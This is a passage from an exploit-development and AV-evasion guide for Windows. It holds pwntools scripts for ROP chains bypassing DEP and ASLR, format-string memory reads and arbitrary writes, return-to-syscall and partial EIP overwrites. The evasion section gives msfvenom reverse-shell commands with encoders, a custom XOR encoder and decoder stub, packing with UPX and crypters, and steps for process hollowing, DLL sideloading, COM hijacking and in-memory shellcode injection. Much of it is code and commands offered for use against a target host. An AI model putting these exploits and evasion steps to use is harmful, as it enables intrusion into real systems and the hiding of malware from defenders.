    rop_chain += pack("<L", JMP_EAX) # EAX holds VirtualAlloc address, jump to it.
    
    # --- Shellcode ---
    shellcode_nops = b"\x90" * 32 # NOP sled for reliability
    shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual msfvenom shellcode
    
    # --- Full Payload for the overflow ---
    payload = b"A" * offset_to_eip
    payload += rop_chain # EIP will be overwritten with the start of your ROP chain
    payload += shellcode_nops
    payload += shellcode
    
    # --- Handling Null Bytes in ROP Arguments ---
    # If values like 0x00000000, 0x00001000, 0x00003000, 0x00000040 contain bad characters (e.g., \x00),
    # you cannot directly `pack` them into the payload if the buffer terminates on null bytes.
    # You need more complex gadgets to construct these values in registers and push them.
    
    # Example for constructing a value like 0x00000040 if \x00 is bad:
    # 0x40 = (0x80808080 + 0x7F7F7FC0) (avoiding nulls with addition)
    # This requires:
    # 1. Pop an arbitrary non-null value (e.g., 0x80808080) into EAX.
    #    rop_chain += pack("<L", POP_EAX_RET)
    #    rop_chain += pack("<L", 0x80808080)
    # 2. Pop the second part (0x7F7F7FC0) into ECX.
    #    rop_chain += pack("<L", POP_ECX_RET)
    #    rop_chain += pack("<L", 0x7F7F7FC0)
    # 3. Add them: `add eax, ecx ; ret`. Now EAX holds 0x00000040.
    #    rop_chain += pack("<L", ADD_EAX_ECX_RET)
    # 4. Push EAX onto the stack where the argument is expected.
    #    This requires a gadget like `push eax ; ret` if ESP is aligned, or `mov [esp+X], eax ; ret`.
    
    print(f"Payload length: {len(payload)} bytes")
    
    # ... (sending logic and listener) ...
    

D. ASLR Bypass (When DEP is also present)
#

ASLR (Address Space Layout Randomization) randomizes the base addresses of modules in memory. If DEP is also enabled, ROP becomes much harder because you don’t know the fixed addresses of your gadgets.

Techniques:
#

  1. Partial ASLR Bypass (Information Disclosure / Memory Leak):

    • Goal: Leak a memory address from a module that has ASLR enabled to calculate its current base address. If you know one address in a module, and you know its static offset from the module’s base (which you can find by loading the module in x64dbg/IDA), you can find the base.

    • Method:

      • Format String Vulnerabilities (%p, %x): As discussed, these can directly leak stack addresses, which might contain pointers to ASLR’d modules.
      • Uninitialized Memory Read: Some vulnerabilities expose uninitialized memory that might contain leftover pointers.
      • ROP to leak: A small initial ROP chain could be used to call functions like GetModuleHandleA or GetProcAddress and then write their return values to a location you can read (e.g., a network response or a file). This requires finding the offsets to these functions within a module that doesn’t have ASLR or guessing common ones.
    • x64dbg Analysis (for finding offsets):

      1. Load the ASLR’d module in x64dbg (File -> Open, then wait for it to load, then use Modules tab).
      2. Right-click on the module -> Go to -> IAT (Import Address Table). You might find some API calls to system DLLs like kernel32.dll or ntdll.dll.
      3. Right-click on a function entry in the IAT (e.g., KERNEL32.dll!CreateFileA) -> Follow in Disassembler. Note the address.
      4. In the command bar, calculate the offset from the base: 0x<function_address> - 0x<module_base_address>. This offset is static even if the base address changes due to ASLR.
      # Example: if you leak 0x7FFD12345678 from ntdll.dll
      # In x64dbg, load ntdll.dll. Find some function like LdrInitializeThunk.
      # Assume LdrInitializeThunk is at ntdll_base + 0x345678 (static offset).
      # Leaked_Address - Known_Offset = Base_Address
      # 0x7FFD12345678 - 0x345678 = 0x7FFD12000000 (Current ntdll.dll base)
      
    • Once you know one ASLR’d module’s base, you can typically find the base addresses of other related system modules because Windows loads them with a consistent offset relative to each other (e.g., if you know ntdll.dll’s base, you can often deduce kernel32.dll’s base by checking its usual relative offset in a clean VM).

  2. No ASLR Modules (The Easiest Bypass):

    • Action: In x64dbg’s Modules Tab (M key), explicitly look for modules where ASLR: No. These are your golden tickets for ROP gadgets because their addresses are constant across reboots.
    • Prioritize: If you find such a module, focus your ROP gadget search within it.
  3. Return-to-libc (or Return-to-any-known-module):

    • Goal: If direct EIP control with a JMP ESP isn’t possible, or if only specific, predictable system libraries are available (e.g., kernel32.dll on older systems, or if a specific program loads them in a non-randomized way), you can directly call functions from those libraries.
    • Method:
      1. Information Leak: You must be able to leak an address from kernel32.dll (or your target stable module) to defeat ASLR for that specific module.
      2. Find Function Addresses: Once the base address is known, calculate the address of desired functions (e.g., LoadLibraryA, CreateProcessA) by adding their known offsets.
      3. ROP Chain: Craft a ROP chain that:
        • Sets up arguments for the target API call (e.g., CreateProcessA).
        • Pivots the stack pointer (ESP) to these arguments.
        • Calls the API function.
        • Redirects execution after the API call (e.g., to your shellcode, if the API made it executable, or another ROP chain).

E. Format String Attacks
#

Format string vulnerabilities occur when user input is directly used as the format string argument to functions like printf(), sprintf(), etc. They are extremely powerful for leaking memory and writing arbitrary data.

Specifiers & Vulnerabilities:
#

SpecifierDescriptionPotential Vulnerability
%sString (reads from address on stack/memory)Can read arbitrary memory
%xUnsigned hexadecimal integerCan leak stack values/addresses
%pPointer (address in hexadecimal)Can leak stack values/addresses
%nNumber of characters written so far (writes to address on stack/memory)CRITICAL: Can write to arbitrary memory
%hnWrites the number of characters written so far to a short (2-byte) address.Precise arbitrary write for 2 bytes.
%hhnWrites the number of characters written so far to a byte (1-byte) address.Most granular.

Workflow:
#

  1. Find the Vulnerability:

    • Action: Identify an input field where user input is treated as a format string. Common signs: printf(user_input), sprintf(buffer, user_input).
    • Test: Send simple format string specifiers like %x or %p in the input to see if values from the stack are printed.
  2. Leak Stack Data (%x, %p):

    • Goal: Understand the stack layout and find the “offset” to your controlled input on the stack. This offset tells you which argument number (%N$x) corresponds to your input or other interesting data.
    • Action: Send input like AAAA %x %x %x %x %x %x %x %x %x %x %x.
    • Analyze Output: Look for your AAAA (0x41414141) in the hexadecimal output. If AAAA appears, for example, as the 6th %x value, then your controlled string is at the 6th stack argument (referred to as %6$x or %6$p). This is your “offset.”
    • %p is generally safer as it always prints a full pointer and might not require guessing data size.
    from pwn import *
    
    context.update(arch='i386', os='windows')
    
    ip = '192.168.1.100'
    port = 9999
    
    # Example: leaking stack values to find offset
    # Try with a fixed number of %p's first, or a large number to dump a lot of the stack.
    payload_leak_offset = b"AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"
    
    try:
        s = remote(ip, port)
        s.send(payload_leak_offset + b"\n") # Or appropriate terminator
        response = s.recvall().decode(errors='ignore')
        print(response)
        s.close()
        # In the response, look for 0x41414141. If it's the 6th pointer, your offset is 6.
    except Exception as e:
        print(f"[!] Error during leak: {e}")
    
  3. Read Arbitrary Memory (%s):

    • Goal: Read data from a specific memory address (e.g., a secret string, a flag from a known address).
    • Strategy: Place the address you want to read from on the stack (as part of your input), and then use %s with the correct offset.
    • Action:
      1. Determine the stack_offset where your controlled data (the address to read) will appear. (Use the previous %p leaking technique).
      2. Construct the payload: [address_to_read] %<stack_offset>$s. The [address_to_read] will be put onto the stack. When %<stack_offset>$s is processed, it will interpret that stack value as a pointer to a string and print its content.
    from pwn import *
    
    context.update(arch='i386', os='windows')
    
    ip = '192.168.1.100'
    port = 9999
    
    # Assume we want to read from address 0xDEADBEEF (32-bit example)
    target_read_address = 0xDEADBEEF
    
    # Pack the address in little-endian. Use p64 for 64-bit targets.
    # This address will be placed on the stack by your input.
    addr_on_stack = p32(target_read_address)
    
    # Assume you found the offset to this address on the stack is 6 using %p.
    stack_offset_for_read = 6
    
    # Payload: [address_to_read] + %<offset>$s
    payload_read = addr_on_stack + b"%" + str(stack_offset_for_read).encode() + b"$s"
    
    try:
        s = remote(ip, port)
        s.send(payload_read + b"\n")
        response = s.recvall().decode(errors='ignore')
        print(f"[*] Data read from 0x{target_read_address:x}: {response}")
        s.close()
    except Exception as e:
        print(f"[!] Error reading memory: {e}")
    
  4. Write Arbitrary Memory (%n, %hn, %hhn):

    • Goal: Write arbitrary data to an arbitrary memory address. This is extremely powerful for changing variables, overwriting GOT/PLT entries, or even redirecting EIP.
    • %n: Writes the total number of characters written so far to a DWORD (4-byte) address on the stack.
    • %hn: Writes to a WORD (2-byte) address. Useful for granular control or avoiding null bytes.
    • %hhn: Writes to a BYTE (1-byte) address. Most granular.
    • Strategy (using %hn for precise control and null byte avoidance):
      1. Place target addresses on the stack: Put the addresses where you want to write (e.g., target_addr, target_addr + 2) into your input string first. These will be pushed onto the stack.
      2. Calculate Byte Counts: For each 2-byte chunk (or 1-byte for %hhn) you want to write, determine the number of characters you need to print before the %hn specifier to make the “bytes written so far” counter equal to your desired value.
        • Example: To write 0xABCD to 0x12345678:
          • Write 0xCD to 0x12345678 using %hn.
          • Then, write 0xAB to 0x12345678 + 2 using another %hn.
          • Each subsequent write counts the cumulative characters printed. You need to calculate the difference in characters printed between writes. Use modulo 65536 for %hn and 256 for %hhn to handle values larger than a word/byte.
      3. Construct Format String: Use %.<count>c to print characters without them appearing in the output (if output is to stdout), or just <count>c if output doesn’t matter.
    from pwn import *
    
    context.update(arch='i386', os='windows')
    
    ip = '192.168.1.100'
    port = 9999
    
    # Goal: Write 0xDEADBEEF to address 0x12345678
    target_write_address = 0x12345678
    
    # The 4 bytes of 0xDEADBEEF (little-endian: EF BE AD DE)
    # We will write these two bytes at a time (0xEF, 0xBE, 0xAD, 0xDE).
    # Values to write as words: 0xBEEF, 0xDEAD
    # Since we write low byte first, it's 0xEF, then 0xBE
    # Then 0xAD, then 0xDE
    
    value1_word = 0xBEEF # First 2 bytes (low word)
    value2_word = 0xDEAD # Second 2 bytes (high word)
    
    # Determine stack offsets for the addresses.
    # Place addresses at the start of your payload, then figure out their offset.
    # Example: if your addresses are at %6$p and %7$p
    offset_addr1 = 6
    offset_addr2 = 7
    
    # Payload structure: [Addr1][Addr2][...][Format String]
    payload_addrs = b""
    payload_addrs += p32(target_write_address)       # Address for the first word (0xBEEF)
    payload_addrs += p32(target_write_address + 2)    # Address for the second word (0xDEAD)
    
    # --- Calculating Byte Counts ---
    # Pwntools' fmtstr_payload simplifies this significantly.
    # For a manual step-by-step approach with %hn:
    
    # Calculate count for the first word (0xBEEF)
    # The initial characters printed are the addresses themselves.
    initial_chars = len(payload_addrs)
    
    # Calculate `count1` such that (initial_chars + count1) % 0x10000 = value1_word
    # So, count1 = (value1_word - initial_chars) % 0x10000
    count1 = (value1_word - initial_chars) % 0x10000
    if count1 < 0: # Ensure positive value
        count1 += 0x10000
    
    # Calculate `count2` such that (initial_chars + count1 + count2) % 0x10000 = value2_word
    # So, count2 = (value2_word - (initial_chars + count1)) % 0x10000
    cumulative_after_first_write = initial_chars + count1
    count2 = (value2_word - cumulative_after_first_write) % 0x10000
    if count2 < 0:
        count2 += 0x10000
    
    # Format string components
    format_string_parts = []
    format_string_parts.append(f"%.{count1}c%{offset_addr1}$hn".encode()) # Write first word
    format_string_parts.append(f"%.{count2}c%{offset_addr2}$hn".encode()) # Write second word
    
    # Combine addresses and format string
    final_payload = payload_addrs
    for part in format_string_parts:
        final_payload += part
    
    print(f"Format string payload length: {len(final_payload)} bytes")
    
    # --- Sending Logic (Example) ---
    try:
        s = remote(ip, port)
        s.send(final_payload + b"\n") # Or appropriate terminator
        s.recvall() # Read response if any
        s.close()
        print(f"[*] Attempted to write 0x{value1_word:x} and 0x{value2_word:x} to 0x{target_write_address:x}")
    except Exception as e:
        print(f"[!] Error during write: {e}")
    
    # --- Pwntools fmtstr_payload for simplicity ---
    # For more complex format string writes, Pwntools' `fmtstr_payload` function is invaluable.
    # from pwn import *
    # writes = {target_write_address: 0xDEADBEEF} # Dictionary of {address: value}
    # payload_pwntools = fmtstr_payload(offset_addr1, writes, write_size='short') # Use 'byte' for %hhn
    # print(payload_pwntools)
    
    • Note: Format string exploitation is a deep topic. Precise byte count calculation and understanding stack alignment are critical. Start with simpler %x or %p leaks before attempting %n writes.

F. Return-to-Syscall / Return-to-ntdll (Modern Windows)
#

On modern Windows systems with full ASLR and DEP, VirtualAlloc/VirtualProtect via ROP might still be difficult due to randomized kernel32.dll addresses. However, ntdll.dll is often loaded at a somewhat predictable range, and its base address might be leaked. It contains low-level system calls (NT APIs) that directly interact with the kernel.

Workflow:
#

  1. ASLR Bypass for ntdll.dll:

    • Goal: Obtain the base address of ntdll.dll.
    • Method: This is usually achieved through an information leak (e.g., from a format string vulnerability, an uninitialized memory read that exposes a pointer to ntdll.dll, or a leaked PEB/TEB pointer that points into ntdll.dll structures). Once you have any address within ntdll.dll, you can calculate its base address using a known offset (e.g., leaked_address - offset_to_leaked_address_from_ntdll_base).
  2. Find NT API Function Addresses:

    • Goal: Locate the addresses of desired NT API functions within ntdll.dll (e.g., NtAllocateVirtualMemory, NtProtectVirtualMemory).
    • Method: Once ntdll.dll’s base address is known, you can calculate the addresses of its exports. These offsets are static. Use x64dbg (Modules Tab -> Right-click ntdll.dll -> Go to -> Exports) to find function offsets.
  3. Construct Return-Oriented System Call (ROPC) Chain:

    • Goal: Set up the stack to call an NT API function, and then potentially call another, or jump to your shellcode.
    • NT API Calling Convention: NT APIs often use a fastcall-like convention where arguments are passed in registers (RCX, RDX, R8, R9 for x64) and some on the stack. The system call itself is triggered by an syscall or int 2e instruction, often preceded by moving the syscall number into EAX.
    • Example (Simplified for 32-bit): Calling NtAllocateVirtualMemory to make memory executable.
      • NtAllocateVirtualMemory takes 6 arguments.
      • ROP chain would involve:
        1. Pop NtAllocateVirtualMemory address into EAX.
        2. Pop syscall arguments into registers (RCX, RDX, etc., for x64) or push onto stack.
        3. Pop the syscall number into EAX.
        4. Find int 2e or syscall gadget in ntdll.dll or a stable module.
        5. Return to your shellcode.
    from pwn import *
    from struct import pack
    
    context.update(arch='i386', os='windows') # Or 'amd64' for 64-bit systems
    
    ip = '192.168.1.100'
    port = 9999
    offset_to_eip = 784 
    
    # --- Leaked ntdll.dll Base Address ---
    # This is critical and must be obtained from an info leak.
    NTDLL_BASE = 0x77000000 # Example. Replace with your leaked base.
    
    # --- ntdll.dll Gadgets & API Offsets (Example for 32-bit) ---
    # Find these using x64dbg Exports for ntdll.dll, and rp++ for gadgets.
    # Offsets are relative to NTDLL_BASE.
    NT_ALLOCATE_VIRTUAL_MEMORY_OFFSET = 0x12345 # Example offset
    POP_EAX_RET_NTDLL = NTDLL_BASE + 0x67890     # Example gadget
    POP_EBX_RET_NTDLL = NTDLL_BASE + 0xabcde     # Example gadget (for arguments)
    POP_ECX_RET_NTDLL = NTDLL_BASE + 0xfedcb     # Example gadget
    POP_EDI_RET_NTDLL = NTDLL_BASE + 0x13579     # Example gadget
    MOV_EAX_CONST_RET_NTDLL = NTDLL_BASE + 0x24680 # mov eax, <some_const> ; ret (for syscall number)
    INT2E_GADGET = NTDLL_BASE + 0xdeadbe         # int 2e ; ret (or syscall ; ret for x64)
    # The actual NtAllocateVirtualMemory address
    NT_ALLOCATE_VIRTUAL_MEMORY_ADDRESS = NTDLL_BASE + NT_ALLOCATE_VIRTUAL_MEMORY_OFFSET
    
    # --- ROP Chain for NtAllocateVirtualMemory ---
    rop_chain = b""
    
    # Arguments for NtAllocateVirtualMemory (simplified for 32-bit, usually on stack/registers):
    # hProcess (handle to current process, typically 0xFFFFFFFF for pseudo handle)
    # lpBaseAddress (address to allocate, can be 0 for system to choose)
    # ZeroBits (number of high-order address bits that must be zero, often 0)
    # RegionSize (pointer to size of region)
    # AllocationType (MEM_COMMIT | MEM_RESERVE = 0x3000)
    # Protect (PAGE_EXECUTE_READWRITE = 0x40)
    
    # 1. Prepare Arguments for NtAllocateVirtualMemory (using pop gadgets and pushing to stack)
    # These will be pushed onto the stack in reverse order of arguments for the syscall stub.
    # The order on the stack for NtAllocateVirtualMemory (32-bit cdecl/stdcall like):
    # Ret_Address, hProcess, lpBaseAddress, ZeroBits, RegionSize_ptr, AllocationType, Protect
    
    # Value: Protect (0x40)
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", 0x40) # PAGE_EXECUTE_READWRITE
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Push EAX onto stack
    
    # Value: AllocationType (0x3000)
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", 0x3000) # MEM_COMMIT | MEM_RESERVE
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Push EAX onto stack
    
    # Value: RegionSize (pointer to 0x1000)
    # Need a writable location for the 0x1000 size. Can be in .data section or just allocate.
    # For CTFs, often a static writable location is provided or can be found.
    WRITEABLE_SIZE_LOC = NTDLL_BASE + 0xdeadbeef # Example writable location for 0x1000
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", 0x1000) # The size value
    rop_chain += pack("<L", POP_EBX_RET_NTDLL)
    rop_chain += pack("<L", WRITEABLE_SIZE_LOC) # Where to write the size
    rop_chain += pack("<L", MOV_MEM_EBX_EAX_RET) # mov [ebx], eax ; ret (Write 0x1000 to WRITEABLE_SIZE_LOC)
    
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", WRITEABLE_SIZE_LOC) # Pointer to size
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET)
    
    # Value: ZeroBits (0)
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", 0x0)
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET)
    
    # Value: lpBaseAddress (pointer to address for allocation, 0 for system to choose)
    # Need a writable location for the returned allocated address.
    WRITEABLE_ALLOC_ADDR_LOC = NTDLL_BASE + 0xfeedface # Example writable location for allocated address
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", WRITEABLE_ALLOC_ADDR_LOC) # Pointer to return allocated address
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET)
    
    # Value: hProcess (0xFFFFFFFF for pseudo handle)
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", 0xFFFFFFFF)
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET)
    
    # Value: Return Address after syscall (will jump to shellcode)
    SHELLCODE_FINAL_LANDING_ADDR = WRITEABLE_ALLOC_ADDR_LOC # After allocation, jump here.
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", SHELLCODE_FINAL_LANDING_ADDR) # This will be the return address for the syscall.
    rop_chain += pack("<L", PUSH_EAX_RET_GADGET)
    
    # 2. Call the Syscall (NtAllocateVirtualMemory is syscall 0x18 for 32-bit Windows 7)
    # Find the syscall number for NtAllocateVirtualMemory (e.g., from syscall tables online).
    SYSCALL_NUMBER_ALLOC = 0x18 # Example syscall number for NtAllocateVirtualMemory
    
    rop_chain += pack("<L", POP_EAX_RET_NTDLL)
    rop_chain += pack("<L", SYSCALL_NUMBER_ALLOC) # Move syscall number into EAX
    
    rop_chain += pack("<L", INT2E_GADGET) # Execute `int 2e` or `syscall` instruction
    
    # After the syscall, execution returns to SHELLCODE_FINAL_LANDING_ADDR.
    # At this point, the memory at WRITEABLE_ALLOC_ADDR_LOC is executable.
    # Your shellcode can now be written there and jumped to.
    
    # --- Placing the Shellcode ---
    # The actual shellcode will be placed in your buffer where it will be written to WRITEABLE_ALLOC_ADDR_LOC.
    # You might need another ROP chain after the syscall to `WriteProcessMemory` your actual shellcode
    # into the newly allocated executable memory. Or, if the target memory is naturally writable,
    # simply place your shellcode after the initial ROP chain that executes the syscall.
    
    final_payload = b"A" * offset_to_eip
    final_payload += rop_chain
    # If using WriteProcessMemory, place its arguments here after the NtAllocateVirtualMemory ROP.
    # Then place the actual shellcode at the end of the buffer to be written by WPM.
    final_payload += b"\x90" * 32 # NOP sled if landing directly after syscall
    final_payload += shellcode # Your msfvenom shellcode
    
    print(f"Payload length: {len(final_payload)} bytes")
    # ... (sending logic and listener) ...
    
    • Complexity: Return-to-syscall is much more complex due to precise register control, syscall numbers (which vary by OS version), and calling conventions. This is an advanced topic for beginners.

G. Partial EIP Overwrites
#

When an overflow limits the number of bytes you can write to EIP (e.g., null byte truncation, or only a few bytes are vulnerable), you can sometimes overwrite only a portion of EIP to redirect execution to a desired location.

Workflow:
#

  1. Identify Vulnerability:

    • Action: Find an overflow where EIP is overwritten, but some bytes of EIP (often the higher-order bytes, or \x00 if it’s a bad char) cannot be controlled.
    • x64dbg Analysis: Crash the program. If EIP becomes 0x00414141 instead of 0x41414141 when \x00 is a bad char, you might have a partial overwrite.
  2. Find a Suitable Target Address:

    • Goal: Find an address in a non-ASLR module that starts with the fixed (uncontrolled) bytes of EIP and ends with bytes you can control.
    • Example: If EIP gets overwritten as 0x00XXXXXX (where 0x00 is fixed due to null byte truncation or fixed base address of module), you need to find an instruction like JMP ESP or a POP POP RET gadget whose address starts with 0x00.
    • x64dbg/rp++: Search for gadgets or instructions (JMP ESP, CALL REG, POP REG; RET) that match the fixed upper bytes of EIP.
  3. Craft Partial Payload:

    • Action: Overwrite only the controllable bytes of EIP with the desired ending bytes of your target address.
    from pwn import *
    from struct import pack
    
    context.update(arch='i386', os='windows')
    
    ip = '192.168.1.100'
    port = 9999
    offset_to_eip = 784 # Example offset to EIP
    
    # Scenario: EIP is 0x00XXXXXX (where 0x00 is fixed/truncated).
    # Target JMP ESP address in a non-ASLR module is 0x00451234.
    # We can only overwrite the last 3 bytes (0x451234), or maybe 2 bytes if more restrictive.
    
    # If we can overwrite 3 bytes: 0x451234
    jmp_esp_partial_address = pack("<L", 0x451234) # Pad with null byte (0x00) if needed.
    # Or just the last three bytes: b"\x34\x12\x45" (if target always fills leading zeros)
    
    # Payload: A's, then the partial EIP overwrite
    payload = b"A" * offset_to_eip
    payload += jmp_esp_partial_address # Ensure this aligns with EIP's controllable bytes
    payload += b"\x90" * 32 # NOP sled
    payload += shellcode # Your shellcode
    
    print(f"Payload length: {len(payload)} bytes")
    # ... (sending logic and listener) ...
    
    • Note: This technique is often combined with other memory layout knowledge from the target, as the exact bytes that can be overwritten need to be precisely controlled.

AV Evasion Techniques
#

A. Shellcode Encoding/Obfuscation
#

  • Goal: Alter the shellcode’s bytes to bypass static signatures, while still allowing it to execute correctly in memory.

  • Method:

    1. msfvenom Encoders (Basic):

      • Action: Use msfvenom with built-in encoders. These add a small decoder stub to your shellcode, which XORs, adds, or otherwise transforms the actual payload during runtime.
      # Example with shikata_ga_nai encoder and 5 iterations
      # This is a polymorphic encoder, meaning each generation is slightly different.
      msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=... -f c -e x86/shikata_ga_nai -i 5 -b "\x00\x0a\x0d"
      
      # Example with alpha_mixed encoder (good for ASCII-only buffers)
      # Often larger shellcode, but might bypass filters.
      msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=... -f c -e x86/alpha_mixed -b "\x00\x0a\x0d\x20"
      
      • Limitation: Common msfvenom encoders are often fingerprinted by AVs. They are good for learning but less effective against modern, well-updated AVs.
    2. Custom Encoding (More Effective):

      • Goal: Create a unique encoding scheme that AVs won’t recognize.

      • Method:

        • Encoder (Python Script): Write a Python script that takes your raw msfvenom shellcode and applies a custom transformation (e.g., XOR with a fixed key, ADD/SUB operations, simple byte substitution, or a combination).

          # custom_encoder.py
          def xor_encode(shellcode_bytes, key_byte):
              encoded_bytes = bytearray()
              for byte in shellcode_bytes:
                  encoded_bytes.append(byte ^ key_byte)
              return bytes(encoded_bytes)
          
          # Example usage:
          # raw_shellcode = b"\xfc\xe8\x82..." # Your msfvenom raw payload
          # xor_key = 0xAA
          # encoded_shellcode = xor_encode(raw_shellcode, xor_key)
          # print(encoded_shellcode)
          
        • Decoder (Assembly Stub): Write a small assembly stub that reverses your custom encoding. This stub will be very small and typically placed right before your encoded shellcode in the buffer.

          ; custom_decoder.asm (for 32-bit XOR decoder)
          ; Assume EBX points to the start of encoded shellcode
          ; Assume EAX contains the XOR key
          
          start:
              mov ecx, [ebx-4]    ; Get shellcode length (if stored before shellcode)
              ; If length is fixed, hardcode it: mov ecx, 0x200
          
          decode_loop:
              xor byte ptr [ebx], al ; XOR current byte with key in AL (low byte of EAX)
              inc ebx                ; Move to next byte
              loop decode_loop       ; Decrement ECX, loop if not zero
          
          jmp ebx                 ; Jump to decoded shellcode
          
          • You’ll need to assemble this custom_decoder.asm into raw opcodes (e.g., using nasm).
        • Integration:

          1. In your Pwntools exploit, encode your msfvenom shellcode using your custom_encoder.py.
          2. Place the custom_decoder opcodes immediately after your NOP sled (or direct EIP redirect).
          3. Place the encoded_shellcode immediately after the custom_decoder.
          4. Ensure your JMP ESP points to the custom_decoder’s address.
  • Polymorphic Engines (Advanced):

    • Goal: Generate slightly different versions of the same shellcode or decoder stub each time, making it harder for static signature-based detection.
    • Method: This involves dynamically generating the assembly for the decoder at runtime (in your Python script), or using existing polymorphic engines that can morph the code.

B. Obfuscating PE Files (for standalone payload delivery)
#

If you’re delivering a standalone executable payload (not just shellcode injected into memory):

  • Packers:

    • Goal: Compress and/or encrypt your executable, making its contents unreadable to AVs until runtime.

    • Tool: UPX (https://upx.github.io/) is a popular open-source packer.

      # On Kali, if you have a malicious Windows executable (e.g., a Meterpreter exe)
      upx -o payload_packed.exe payload_original.exe
      
    • Limitation: UPX is widely known, and its decompression stub is often signatured by AVs.

    • Evasion Tip: Sometimes, modifying the UPX stub (e.g., changing a few bytes manually, or using a “stub generator”) can bypass simple UPX signatures.

  • Crypters:

    • Goal: More advanced encryption and obfuscation for executables, designed specifically for AV evasion. They wrap your payload in a custom stub that performs complex decryption and execution in memory.
    • Method: These are typically commercial tools or private projects. They use techniques like anti-analysis, anti-debugging, and polymorphic decryption to achieve “FUD” (Fully Undetectable) status for a period.
    • Evasion Tip: Use reputable (often private/paid) crypters, and regularly test your payloads against various AVs. The FUD status is temporary.
  • Compile with Different Languages:

    • Goal: Generate different binary structures that AVs might not have signatures for.
    • Method: Instead of compiling your C/C++ payload with Visual Studio, try:
      • MinGW/GCC: Compiling with GCC on Linux for Windows targets can produce different binary characteristics.
      • Less Common Languages: Rust, Nim, Go, Dlang – compiling malicious payloads in these languages can sometimes bypass AVs that are heavily focused on C/C++ or .NET binaries.
  • Reflective DLL Injection (for DLL payloads):

    • Goal: Inject a malicious DLL directly into a process’s memory without touching the disk, reducing forensic artifacts and AV detection.
    • Method: You create a loader (often a small executable) that reads your malicious DLL into its own memory, then finds a way to inject it into the target process’s memory space and execute it. The DLL never lives on disk. Tools like Metasploit’s exploit/windows/local/payload_inject and frameworks like Covenant utilize this.

C. Leveraging Legitimate Processes
#

  • Goal: Hide malicious activity by making it appear as if it’s originating from a trusted, legitimate process.
  • Method:
    1. Process Hollowing/RunPE:
      • Goal: Execute your malicious code under the guise of a legitimate process.
      • Action:
        1. Create a legitimate executable (e.g., notepad.exe) in a suspended state.
        2. Unmap (hollow out) its original code section from memory.
        3. Write your malicious shellcode or payload into the newly freed memory space.
        4. Set the main thread’s context (e.g., EIP/RIP) to point to your injected code.
        5. Resume the suspended process.
      • x64dbg Analysis: If you attach to a hollowed process, you’ll see a legitimate process name, but the code executing will be your payload.
    2. DLL Sideloading:
      • Goal: Force a legitimate application to load your malicious DLL instead of a benign one.
      • Method: Many legitimate applications are configured to search for DLLs in specific paths (e.g., the application’s directory, then system paths). If you can place your malicious DLL (named exactly like a DLL the app expects) in a higher-priority search path (often the same directory as the executable), the legitimate app will load yours instead.
      • Action:
        1. Identify a vulnerable application that uses DLL sideloading.
        2. Find a DLL it attempts to load (e.g., using Process Monitor).
        3. Create a malicious DLL with the exact same name and export the expected functions (these can just be stub functions that call your malicious payload).
        4. Place your malicious DLL in the application’s directory.
        5. Run the legitimate application. Your DLL will be loaded.
    3. COM Hijacking:
      • Goal: Abuse the Component Object Model (COM) registration mechanism to execute your code when a legitimate application tries to create a COM object.
      • Method: COM objects are registered in the Windows Registry (HKCU or HKLM). By creating specific registry keys (e.g., InprocServer32 for a COM DLL) pointing to your malicious DLL, you can hijack the loading process.
      • Action:
        1. Identify a COM object that a legitimate process uses.
        2. Identify a COM CLSID that can be hijacked (either not present, or present only in HKLM where HKCU takes precedence).
        3. Create/modify registry keys under HKCU\Software\Classes\CLSID\{YOUR-CLSID}\InprocServer32 to point to your malicious DLL.
        4. When the legitimate application attempts to instantiate that COM object, your malicious DLL will be loaded.

D. Memory-Only Payloads
#

  • Goal: Ensure your malicious code never touches the disk in its executable form, significantly reducing detection by file-based AV scanners.
  • Method:
    1. Reflective DLL Injection (Revisited):
      • Goal: As described in 5.B, a common technique for getting DLLs into memory without writing them to disk.
      • Action: Use a reflective DLL injector (many open-source ones exist, or framework features). The injector reads the DLL as raw bytes, finds its LoadLibrary and GetProcAddress functions in memory, and then manually maps and resolves the DLL within the target process.
    2. In-Memory Shellcode Execution (Revisited):
      • Goal: Directly inject and execute raw shellcode into the memory of an existing process.
      • Action: This is often achieved by calling Windows API functions:
        1. OpenProcess (or use GetCurrentProcess pseudo-handle) to get a handle to the target process.
        2. VirtualAllocEx to allocate new, executable (PAGE_EXECUTE_READWRITE) memory within the target process.
        3. WriteProcessMemory to copy your raw shellcode into the newly allocated memory.
        4. CreateRemoteThread or NtQueueApcThread (for advanced techniques) to create a new thread in the target process that starts execution at your shellcode’s address.
      • x64dbg Analysis: You would see your shellcode running in a newly allocated memory region within the target process, and a new thread might appear in the Threads Tab.